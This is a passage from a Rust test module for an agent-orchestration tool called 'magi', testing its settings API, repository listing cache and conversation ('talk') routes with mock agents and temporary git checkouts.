13515            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13516            std::fs::write(&machine, text).expect("machine toml");
13517        }
13518        (tmp, repo, machine)
13519    }
13520
13521    async fn settings_checkout(path: &FsPath, text: &str) {
13522        std::fs::create_dir_all(path).unwrap();
13523        std::fs::write(path.join("magi.toml"), text).unwrap();
13524        for args in [
13525            vec!["init", "-b", "main"],
13526            vec!["add", "magi.toml"],
13527            vec![
13528                "-c",
13529                "user.name=Test",
13530                "-c",
13531                "user.email=test@example.invalid",
13532                "commit",
13533                "-m",
13534                "fixture",
13535            ],
13536            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13537            vec![
13538                "symbolic-ref",
13539                "refs/remotes/origin/HEAD",
13540                "refs/remotes/origin/main",
13541            ],
13542        ] {
13543            crate::git::git(path, &args).await.unwrap();
13544        }
13545    }
13546
13547    #[tokio::test]
13548    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13549        let (tmp, repo, machine) =
13550            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13551        let root = tmp.path().join("roots");
13552        let selected = root.join("host/owner/selected");
13553        settings_checkout(
13554            &selected,
13555            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13556        )
13557        .await;
13558        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13559        let before = std::fs::read(&machine).unwrap();
13560        let ui = Arc::new(
13561            Ui::new(
13562                Queue::at(tmp.path().join("queue")),
13563                Questions::at(tmp.path().join("questions")),
13564                Talks::at(tmp.path().join("talks")),
13565                tmp.path().join("runs"),
13566                tmp.path().to_path_buf(),
13567                repo.clone(),
13568            )
13569            .with_machine_config(Some(machine.clone())),
13570        );
13571        let query = || {
13572            Query(SettingsQuery {
13573                repo: Some(selected.clone()),
13574            })
13575        };
13576        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13577        assert!(v.error.is_none(), "{:?}", v.error);
13578        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13579        assert_eq!(conductor.source, "repo");
13580        assert_eq!(
13581            conductor.machine_value,
13582            Some(toml::Value::String("a".into()))
13583        );
13584        assert!(!conductor.editable);
13585        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13586        assert_eq!(
13587            judges.count.as_ref().unwrap().machine_value,
13588            Some(toml::Value::Integer(1))
13589        );
13590        assert!(
13591            !v.roles
13592                .iter()
13593                .find(|r| r.key == "reviewers")
13594                .unwrap()
13595                .editable
13596        );
13597        let unknown = || {
13598            Query(SettingsQuery {
13599                repo: Some(tmp.path().to_path_buf()),
13600            })
13601        };
13602        assert_eq!(
13603            settings_get(State(ui.clone()), unknown())
13604                .await
13605                .unwrap_err()
13606                .status,
13607            StatusCode::UNPROCESSABLE_ENTITY
13608        );
13609        let body = || {
13610            Ok(Json(RolesBody {
13611                revision: v.revision.clone(),
13612                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13613                counts: Default::default(),
13614            }))
13615        };
13616        assert_eq!(
13617            settings_put_roles(State(ui.clone()), unknown(), body())
13618                .await
13619                .unwrap_err()
13620                .status,
13621            StatusCode::UNPROCESSABLE_ENTITY
13622        );
13623        assert_eq!(std::fs::read(&machine).unwrap(), before);
13624        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13625            .await
13626            .unwrap();
13627        assert_eq!(
13628            saved.repo,
13629            selected.canonicalize().unwrap().display().to_string()
13630        );
13631        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13632        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13633        // A cache miss refreshes the stable candidate list exactly for validation.
13634        let fresh = root.join("host/owner/fresh");
13635        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13636        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13637            .await
13638            .unwrap();
13639        assert_eq!(fresh_view.repositories.len(), 3);
13640    }
13641
13642    #[tokio::test]
13643    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13644        let (tmp, repo, machine) = settings_dirs(
13645            "[roles]\nreviewers = [\"a\"]\n",
13646            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13647        );
13648        let root = tmp.path().join("roots");
13649        let selected = root.join("host/owner/selected");
13650        settings_checkout(
13651            &selected,
13652            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13653        )
13654        .await;
13655        let broken = root.join("host/owner/broken");
13656        settings_checkout(&broken, "[roles\nbroken").await;
13657        let machine_text = format!(
13658            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13659            toml::Value::String(root.display().to_string())
13660        );
13661        std::fs::write(&machine, &machine_text).unwrap();
13662        let originals: Vec<_> = [&repo, &selected, &broken]
13663            .iter()
13664            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13665            .collect();
13666        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13667        let default = f.get("/api/settings").await.json();
13668        assert_eq!(
13669            default["repo"],
13670            repo.canonicalize().unwrap().display().to_string()
13671        );
13672        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13673        let query = format!("?repo={}", selected.display());
13674        let res = f.get(&format!("/api/settings{query}")).await;
13675        assert_eq!(res.status, 200, "{}", res.body);
13676        let v = res.json();
13677        assert!(v["error"].is_null(), "{v}");
13678        assert_eq!(v["repositories"], default["repositories"]);
13679        let role = |key: &str| {
13680            v["roles"]
13681                .as_array()
13682                .unwrap()
13683                .iter()
13684                .find(|r| r["key"] == key)
13685                .unwrap()
13686        };
13687        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13688        assert_eq!(role("advisors")["source"], "repo");
13689        assert_eq!(role("advisors")["editable"], false);
13690        assert!(role("advisors")["machine_value"].is_null());
13691        assert_eq!(role("judges")["count"]["value"], 2);
13692        assert_eq!(role("judges")["count"]["machine_value"], 1);
13693        assert_eq!(role("judges")["count"]["source"], "repo");
13694        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13695        assert!(
13696            source.contains("origin/main") && !source.contains("magi/config/"),
13697            "{source}"
13698        );
13699        assert_eq!(
13700            role("reviewers")["editable"],
13701            false,
13702            "default context outside roots must protect its declarations"
13703        );
13704        let body =
13705            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13706        let unknown = format!("?repo={}", tmp.path().display());
13707        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13708        assert_eq!(
13709            f.put(&format!("/api/settings/roles{unknown}"), &body)
13710                .await
13711                .status,
13712            422
13713        );
13714        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13715        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13716            .to_string();
13717        assert_eq!(
13718            f.put(&format!("/api/settings/roles{query}"), &refuse)
13719                .await
13720                .status,
13721            422
13722        );
13723        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13724        assert_eq!(saved.status, 200, "{}", saved.body);
13725        assert_eq!(saved.json()["repo"], v["repo"]);
13726        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13727        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13728        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13729            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13730        }
13731        let error = f
13732            .get(&format!("/api/settings?repo={}", broken.display()))
13733            .await;
13734        assert_eq!(error.status, 200);
13735        assert!(error.json()["error"]["message"].is_string());
13736        assert_eq!(error.json()["repositories"], default["repositories"]);
13737    }
13738
13739    #[tokio::test]
13740    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13741        let (_tmp, repo, machine) =
13742            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13743        let f = Fixture::with_repo_and_machine(repo, machine).await;
13744        let res = f.get("/api/settings").await;
13745        assert_eq!(res.status, 200, "{}", res.body);
13746        let v = res.json();
13747        assert!(v["error"].is_null(), "{v}");
13748        let role = |k: &str| {
13749            v["roles"]
13750                .as_array()
13751                .and_then(|r| r.iter().find(|x| x["key"] == k))
13752                .cloned()
13753                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13754        };
13755        assert_eq!(role("judges")["source"], "machine");
13756        assert_eq!(role("judges")["editable"], true);
13757        assert_eq!(role("implementers")["source"], "default");
13758        let adv = role("advisors");
13759        assert_eq!(adv["fallback"], "judges");
13760        assert!(
13761            adv["seats"]
13762                .as_array()
13763                .is_some_and(|s| s.iter().all(|x| x == "b")),
13764            "{adv}"
13765        );
13766        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13767        assert_eq!(v["agents"][0]["source"], "repo");
13768    }
13769
13770    #[tokio::test]
13771    async fn settings_get_reports_a_config_that_does_not_parse() {
13772        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13773        let f = Fixture::with_repo_and_machine(repo, machine).await;
13774        let res = f.get("/api/settings").await;
13775        assert_eq!(res.status, 200, "{}", res.body);
13776        let v = res.json();
13777        assert!(v["error"]["message"].is_string(), "{v}");
13778        assert!(
13779            v["error"]["path"]
13780                .as_str()
13781                .is_some_and(|p| p.ends_with("magi.toml")),
13782            "{v}"
13783        );
13784        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13785    }
13786
13787    #[tokio::test]
13788    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13789        let (_tmp, repo, machine) = settings_dirs(
13790            SETTINGS_AGENTS,
13791            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13792        );
13793        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13794        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13795        let rev = f.get("/api/settings").await.json()["revision"]
13796            .as_str()
13797            .expect("revision")
13798            .to_owned();
13799        let body = serde_json::json!({
13800            "revision": rev,
13801            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13802        })
13803        .to_string();
13804        let res = f.put("/api/settings/roles", &body).await;
13805        assert_eq!(res.status, 200, "{}", res.body);
13806        let text = std::fs::read_to_string(&machine).expect("machine");
13807        assert_eq!(
13808            text,
13809            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13810        );
13811        assert_eq!(
13812            std::fs::read(repo.join("magi.toml")).expect("read"),
13813            repo_before
13814        );
13815        let again = f.get("/api/settings").await.json();
13816        let judges = again["roles"]
13817            .as_array()
13818            .expect("roles")
13819            .iter()
13820            .find(|r| r["key"] == "judges")
13821            .expect("judges")
13822            .clone();
13823        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13824        // The old revision is now stale.
13825        let stale = f.put("/api/settings/roles", &body).await;
13826        assert_eq!(stale.status, 409, "{}", stale.body);
13827    }
13828
13829    #[tokio::test]
13830    async fn settings_counts_are_reported_and_saved() {
13831        let (_tmp, repo, machine) = settings_dirs(
13832            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13833            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13834        );
13835        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13836        let v = f.get("/api/settings").await.json();
13837        let count = |v: &serde_json::Value, k: &str| {
13838            v["roles"]
13839                .as_array()
13840                .and_then(|r| r.iter().find(|x| x["key"] == k))
13841                .map(|x| x["count"].clone())
13842                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13843        };
13844        let imp = count(&v, "implementers");
13845        assert_eq!(imp["value"], 2);
13846        assert_eq!(imp["source"], "machine");
13847        assert_eq!(imp["file_key"], "candidates");
13848        assert_eq!(imp["roster_len"], 2);
13849        assert_eq!(imp["backups"], 0);
13850        assert_eq!(count(&v, "judges")["source"], "default");
13851        assert_eq!(count(&v, "advisors")["min"], 0);
13852        assert_eq!(count(&v, "reviewers")["editable"], false);
13853        assert!(
13854            count(&v, "reviewers")["locked_reason"]
13855                .as_str()
13856                .is_some_and(|m| m.contains("graph.reviewers"))
13857        );
13858        assert!(count(&v, "fixer").is_null());
13859        let rev = v["revision"].as_str().expect("revision").to_owned();
13860        let body = serde_json::json!({
13861            "revision": rev,
13862            "roles": { "judges": ["b"] },
13863            "counts": { "implementers": 1, "advisors": 0 }
13864        })
13865        .to_string();
13866        let res = f.put("/api/settings/roles", &body).await;
13867        assert_eq!(res.status, 200, "{}", res.body);
13868        let text = std::fs::read_to_string(&machine).expect("machine");
13869        assert_eq!(
13870            text,
13871            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13872        );
13873        let after = f.get("/api/settings").await.json();
13874        assert_eq!(count(&after, "implementers")["value"], 1);
13875        assert_eq!(count(&after, "implementers")["backups"], 1);
13876        assert_eq!(count(&after, "advisors")["value"], 0);
13877        let before = std::fs::read_to_string(&machine).expect("machine");
13878        let rev = after["revision"].as_str().expect("revision").to_owned();
13879        for counts in [
13880            serde_json::json!({ "judges": 0 }),
13881            serde_json::json!({ "judges": "x" }),
13882            serde_json::json!({ "judges": 2.5 }),
13883            serde_json::json!({ "judges": -1 }),
13884            serde_json::json!({ "reviewers": 3 }),
13885            serde_json::json!({ "bogus": 3 }),
13886        ] {
13887            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13888            let res = f.put("/api/settings/roles", &body).await;
13889            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13890            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13891        }
13892    }
13893
13894    #[tokio::test]
13895    async fn settings_put_refuses_without_touching_the_file() {
13896        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13897        let (_tmp, repo, machine) = settings_dirs(
13898            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13899            Some(machine_text),
13900        );
13901        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13902        let rev = f.get("/api/settings").await.json()["revision"]
13903            .as_str()
13904            .expect("revision")
13905            .to_owned();
13906        for roles in [
13907            serde_json::json!({ "judges": ["nope"] }),
13908            serde_json::json!({ "reviewers": ["b"] }),
13909            serde_json::json!({ "bogus": ["a"] }),
13910        ] {
13911            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13912            let res = f.put("/api/settings/roles", &body).await;
13913            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13914            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13915            assert_eq!(
13916                std::fs::read_to_string(&machine).expect("machine"),
13917                machine_text
13918            );
13919        }
13920    }
13921
13922    #[tokio::test]
13923    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13924        let tmp = TempDir::new().expect("tempdir");
13925        let repo = tmp.path().join("repo");
13926        std::fs::create_dir_all(&repo).expect("repo dir");
13927        let root = tmp.path().join("root");
13928        make_checkout(&root, "github.com", "yukimemi", "magi");
13929        std::fs::write(
13930            repo.join("magi.toml"),
13931            format!(
13932                "[repos]\nroots = [{:?}]\n",
13933                root.to_string_lossy().into_owned()
13934            ),
13935        )
13936        .expect("write magi.toml");
13937
13938        let f = Fixture::with_repo(repo).await;
13939        let res = f.get("/api/repos").await;
13940        assert_eq!(res.status, 200, "{}", res.body);
13941        let list = res.json();
13942        let repos = list.as_array().expect("an array");
13943        assert_eq!(repos.len(), 1);
13944        assert_eq!(repos[0]["name"], "yukimemi/magi");
13945        assert!(
13946            repos[0]["path"]
13947                .as_str()
13948                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13949            "{list}"
13950        );
13951    }
13952
13953    #[tokio::test]
13954    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13955        let tmp = TempDir::new().expect("tempdir");
13956        let repo = tmp.path().join("repo");
13957        std::fs::create_dir_all(&repo).expect("repo dir");
13958        let root = tmp.path().join("root");
13959        make_checkout(&root, "github.com", "yukimemi", "magi");
13960        std::fs::write(
13961            repo.join("magi.toml"),
13962            format!(
13963                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13964                root.to_string_lossy().into_owned()
13965            ),
13966        )
13967        .expect("write magi.toml");
13968
13969        let f = Fixture::with_repo(repo).await;
13970        let first = f.get("/api/repos").await;
13971        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13972
13973        // A second checkout appears; within the TTL the cached answer must
13974        // not notice it.
13975        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13976        let second = f.get("/api/repos").await;
13977        assert_eq!(
13978            second.json().as_array().map(Vec::len),
13979            Some(1),
13980            "a fresh cache must not rescan inside the TTL"
13981        );
13982
13983        let refreshed = f.get("/api/repos?refresh=1").await;
13984        assert_eq!(
13985            refreshed.json().as_array().map(Vec::len),
13986            Some(2),
13987            "an explicit refresh must rescan even inside the TTL"
13988        );
13989    }
13990
13991    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13992    /// string, declared straight in a repository's own `magi.toml` rather
13993    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13994    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13995    /// this is safe to run over a real HTTP round trip.
13996    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13997
13998    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13999    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14000    /// even though it takes no turn, and `talk_say` invokes one.
14001    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14002        let tmp = TempDir::new().expect("tempdir");
14003        let repo = tmp.path().join("repo");
14004        std::fs::create_dir_all(&repo).expect("repo dir");
14005        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14006        let f = Fixture::with_repo(repo.clone()).await;
14007        (tmp, repo, f)
14008    }
14009
14010    #[tokio::test]
14011    async fn posting_a_talk_with_remembered_choices_is_soft() {
14012        let (_tmp, _repo, f) = talk_fixture().await;
14013
14014        let good = f
14015            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14016            .await;
14017        assert_eq!(good.status, 201, "{}", good.body);
14018        assert_eq!(good.json()["persona"], "rei");
14019
14020        // Wrong values and wrong types are dropped one by one, never a 4xx.
14021        let stale = f
14022            .post(
14023                "/api/talks",
14024                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14025            )
14026            .await;
14027        assert_eq!(stale.status, 201, "{}", stale.body);
14028        let v = stale.json();
14029        assert_eq!(v["implementers"], 1);
14030        assert_ne!(v["persona"], "nobody");
14031        let typed = f
14032            .post(
14033                "/api/talks",
14034                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14035            )
14036            .await;
14037        assert_eq!(typed.status, 201, "{}", typed.body);
14038
14039        // The strict `agent` field still refuses an unknown id.
14040        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14041        assert!(
14042            !strict.status.to_string().starts_with('2'),
14043            "{}",
14044            strict.body
14045        );
14046    }
14047
14048    #[tokio::test]
14049    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14050        let (_tmp, _repo, f) = talk_fixture().await;
14051
14052        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14053        // is the ordinary way a phone opens a talk.
14054        let opened = f.post("/api/talks", None).await;
14055        assert_eq!(opened.status, 201, "{}", opened.body);
14056        let body = opened.json();
14057        assert_eq!(body["status"], "open");
14058        assert_eq!(
14059            body["turns"].as_array().unwrap().len(),
14060            0,
14061            "opening takes no agent turn: there is nothing yet to answer"
14062        );
14063
14064        // An explicit empty object is the same request as none at all.
14065        let also_opened = f.post("/api/talks", Some("{}")).await;
14066        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14067
14068        let listed = f.get("/api/talks").await.json();
14069        assert_eq!(listed.as_array().unwrap().len(), 2);
14070    }
14071
14072    #[tokio::test]
14073    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14074        let tmp = TempDir::new().expect("tempdir");
14075        let repo = tmp.path().join("repo");
14076        std::fs::create_dir_all(&repo).expect("repo dir");
14077        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14078        std::fs::write(
14079            repo.join("magi.toml"),
14080            format!("{MOCK_AGENT_TOML}\n{second}"),
14081        )
14082        .expect("write magi.toml");
14083        let home = TempDir::new().expect("temp home");
14084        let talks = Talks::at(home.path().join("talks"));
14085        let ui = Arc::new(
14086            Ui::new(
14087                Queue::at(home.path().join("queue")),
14088                Questions::at(home.path().join("questions")),
14089                talks.clone(),
14090                home.path().join("runs"),
14091                home.path().to_path_buf(),
14092                repo.clone(),
14093            )
14094            .with_worktrees_root(home.path().join("wt")),
14095        );
14096        let cfg = config_for(&repo).await.expect("discover config");
14097        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14098        let id = talk.id.clone();
14099        let call = |agent: &str| {
14100            talk_agent(
14101                State(Arc::clone(&ui)),
14102                Path(id.clone()),
14103                Json(TalkAgent {
14104                    agent: agent.to_owned(),
14105                }),
14106            )
14107        };
14108
14109        let unknown = call("nobody").await.expect_err("unknown agent");
14110        assert_eq!(
14111            unknown.status,
14112            StatusCode::BAD_REQUEST,
14113            "{}",
14114            unknown.message
14115        );
14116
14117        {
14118            // Nothing refused so far took a claim, so the guard is free to take
14119            // and holding it is what makes the talk busy.
14120            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14121            let busy = call("second").await.expect_err("busy talk");
14122            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14123            assert!(
14124                busy.message.contains("a talk turn is running"),
14125                "{}",
14126                busy.message
14127            );
14128            drop(guard);
14129        }
14130        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14131
14132        let Json(view) = call("second").await.expect("switch");
14133        assert_eq!(view.talk.agent, "second");
14134        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14135        let saved = talks.get(&id).expect("reload");
14136        assert_eq!(saved.agent, "second");
14137        assert_eq!(saved.turns.len(), 1);
14138        assert!(!view.thinking);
14139        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14140        for agent in ["mock", "second"] {
14141            let Json(view) = call(agent).await.expect("immediate consecutive change");
14142            assert_eq!(view.talk.agent, agent);
14143            assert!(!view.thinking);
14144            assert!(!ui.is_thinking(&id));
14145        }
14146
14147        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14148            .await
14149            .expect("detail");
14150        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14151        assert_eq!(roster, ["mock", "second"]);
14152
14153        let mut closed = talks.get(&id).expect("reload");
14154        talk::close(&mut closed, &talks).expect("close");
14155        let refused = call("mock").await.expect_err("closed talk");
14156        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14157        assert!(
14158            refused.message.contains("takes no more turns"),
14159            "{}",
14160            refused.message
14161        );
14162    }
14163
14164    #[tokio::test]
14165    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14166        let tmp = TempDir::new().expect("tempdir");
14167        let repo = tmp.path().join("repo");
14168        std::fs::create_dir_all(&repo).expect("repo dir");
14169        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14170        let home = TempDir::new().expect("temp home");
14171        let talks = Talks::at(home.path().join("talks"));
14172        let ui = Arc::new(
14173            Ui::new(
14174                Queue::at(home.path().join("queue")),
14175                Questions::at(home.path().join("questions")),
14176                talks.clone(),
14177                home.path().join("runs"),
14178                home.path().to_path_buf(),
14179                repo.clone(),
14180            )
14181            .with_worktrees_root(home.path().join("wt")),
14182        );
14183        let cfg = config_for(&repo).await.expect("discover config");
14184        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14185        let id = talk.id.clone();
14186        let call = |n: u8| {
14187            talk_implementers(
14188                State(Arc::clone(&ui)),
14189                Path(id.clone()),
14190                Json(TalkImplementers { implementers: n }),
14191            )
14192        };
14193
14194        for bad in [0u8, 4] {
14195            let e = call(bad).await.expect_err("out of range");
14196            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14197        }
14198        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14199
14200        {
14201            // Nothing refused so far took a claim, so the guard is free to take
14202            // and holding it is what makes the talk busy.
14203            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14204            let busy = call(2).await.expect_err("busy talk");
14205            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14206            assert!(
14207                busy.message.contains("a talk turn is running"),
14208                "{}",
14209                busy.message
14210            );
14211            drop(guard);
14212        }
14213
14214        let Json(view) = call(3).await.expect("switch");
14215        assert_eq!(view.talk.implementers, 3);
14216        assert!(talks.get(&id).expect("reload").implementers_dirty);
14217        assert!(!view.thinking);
14218        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14219        for n in [1, 2, 3] {
14220            let Json(view) = call(n).await.expect("immediate consecutive change");
14221            assert_eq!(view.talk.implementers, n);
14222            assert!(!view.thinking);
14223            assert!(!ui.is_thinking(&id));
14224        }
14225
14226        let mut closed = talks.get(&id).expect("reload");
14227        talk::close(&mut closed, &talks).expect("close");
14228        let e = call(2).await.expect_err("closed talk");
14229        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14230        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14231    }
14232
14233    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14234    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14235        let tmp = TempDir::new().expect("tempdir");
14236        let repo = tmp.path().join("repo");
14237        std::fs::create_dir_all(&repo).expect("repo dir");
14238        std::fs::write(
14239            repo.join("magi.toml"),
14240            format!("{MOCK_AGENT_TOML}\n{extra}"),
14241        )
14242        .expect("write magi.toml");
14243        let home = TempDir::new().expect("temp home");
14244        let talks = Talks::at(home.path().join("talks"));
14245        let ui = Arc::new(
14246            Ui::new(
14247                Queue::at(home.path().join("queue")),
14248                Questions::at(home.path().join("questions")),
14249                talks.clone(),
14250                home.path().join("runs"),
14251                home.path().to_path_buf(),
14252                repo.clone(),
14253            )
14254            .with_worktrees_root(home.path().join("wt")),
14255        );
14256        let cfg = config_for(&repo).await.expect("discover config");
14257        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14258        (tmp, home, ui, talk.id, repo)
14259    }
14260
14261    #[tokio::test]
14262    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14263        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14264        let mut conversation = ui.talks.get(&id).unwrap();
14265        talk::record(
14266            &mut conversation,
14267            &ui.talks,
14268            "# Update on a task you filed\noperator words",
14269            vec![],
14270        )
14271        .unwrap();
14272        // Simulate an old operator record; headings do not prove authorship.
14273        conversation.turns[0].sender = None;
14274        conversation.turns[0].messages.clear();
14275        ui.talks.put(&mut conversation).unwrap();
14276        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14277        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14278        talk::drain(&mut conversation, &ui.talks).unwrap();
14279        talk::record_reply(
14280            &mut conversation,
14281            &ui.talks,
14282            "about that report",
14283            vec![],
14284            Some(talk::ReplyTarget {
14285                turn: 1,
14286                message: 1,
14287            }),
14288        )
14289        .unwrap();
14290        conversation.turns[2].messages[0]
14291            .reply
14292            .as_mut()
14293            .unwrap()
14294            .sender = None;
14295        conversation.turns.push(talk::Turn {
14296            sender: Some(talk::Sender::Persona),
14297            who: talk::Who::Agent,
14298            body: "magi: actual persona words".into(),
14299            at: Timestamp::now(),
14300            attachments: vec![],
14301            usage: None,
14302            breaks: None,
14303            messages: vec![],
14304            posted_by: None,
14305        });
14306        ui.talks.put(&mut conversation).unwrap();
14307        let view = TalkView::with_config(
14308            ui.talks.get(&id).unwrap(),
14309            false,
14310            None,
14311            &ui.home,
14312            &ui.references,
14313        );
14314        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14315        assert_eq!(
14316            view.talk.turns[1].messages[0].sender,
14317            Some(talk::Sender::Operator)
14318        );
14319        assert_eq!(
14320            view.talk.turns[1].messages[1].sender,
14321            Some(talk::Sender::Magi)
14322        );
14323        assert_eq!(
14324            view.talk.turns[2].messages[0]
14325                .reply
14326                .as_ref()
14327                .unwrap()
14328                .sender,
14329            Some(talk::Sender::Magi)
14330        );
14331        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14332        assert_eq!(view.turn_messages_md[0].len(), 1);
14333        assert!(view.turn_messages_md[0][0].is_none());
14334        assert!(view.turn_messages_md[1][0].is_none());
14335        assert!(view.turn_messages_md[1][1].is_some());
14336    }
14337
14338    #[tokio::test]
14339    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14340        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14341        let mut conversation = ui.talks.get(&id).unwrap();
14342        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14343        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14344        talk::queue_notice(
14345            &mut conversation,
14346            &ui.talks,
14347            &body,
14348            "watch:123",
14349            &|_| false,
14350            None,
14351            display.clone(),
14352        )
14353        .unwrap();
14354        assert!(
14355            !talk::queue_notice(
